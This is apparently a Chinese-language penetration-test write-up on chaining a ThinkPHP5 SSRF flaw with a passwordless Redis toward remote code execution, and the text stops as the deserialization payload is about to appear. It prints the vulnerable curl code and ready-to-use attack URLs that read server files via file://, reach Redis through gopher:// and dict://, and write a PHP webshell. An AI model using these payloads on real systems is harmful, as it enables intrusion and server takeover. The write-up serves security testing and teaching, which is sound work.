一次“SSRF–>RCE”的艰难利用 |

前言

一次授权的渗透测试中，发现一处SSRF漏洞，可结合Redis实现RCE，看似近在咫尺，却又满路荆棘，经过不懈努力，最终达成目的。其中有几处比较有意思的地方，抽象出来与大家分享。

发现SSRF

目标站点使用ThinkPHP5框架开发，互联网可直接下载源代码，通过代码审计发现一处SSRF漏洞，代码如下所示：

public function httpGet($url=""){

        $curl = curl_init();

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 8);
        //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
        curl_setopt($curl, CURLOPT_URL, $url);

        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }

利用SSRF漏洞读取ThinkPHP5配置文件：http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

如上图所示，目标业务系统采用Redis缓存数据，且密码为空。

利用gopher协议尝试获取info信息：

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显，一段时间后500错误，疑似连接上后超时退出,原因不明（后期复盘时推测为疑似开启了php短标签导致语法错误）

尝试利用dict协议，成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

尝试Redis 写Shell
上述信息中显示，Redis服务的PID 为3517，查看/proc/3517/status文件。

其Redis服务用户权限为Redis

而目标Web服务器为Nginx，其用户权限为www-data，故利用Redis写shell，执行flushall操作后可能无法直接还原数据，需要通过本地提权获得ROOT用户。由于存在不确定性，故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时

dict://127.0.0.1:6379/set d  '<?php phpinfo();?>'

无法使用“?”符号，如下图所示

翻阅Redis文档，发现可以使用bitop命令

bitop知识相关链接地址为：https://redis.io/commands/bitop，该命令可以对Redis缓存值按位计算并获取结果保存，如下图所示：

执行save操作后访问目标发现回显500错误，猜测原因可能如下：

目标redis数据过大(目标存在10w+ keys)，导致超过PHP 执行文件大小；

可能是数据中存在与PHP代码相似数据，解析出现语法错误，导致无法执行。

尝利用ThinkPHP反序列化

查看ThinkPHP的Redis的获取数据代码，发现如果值以think_serialize:开头就可以触发反序列化。

目标ThinkPHP的版本为 5.0.24，该版本存在已知反序列化写文件漏洞，相关漏洞细节链接：http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码，直接生成的反序列化数据如下(数据前加上了think_serialize:)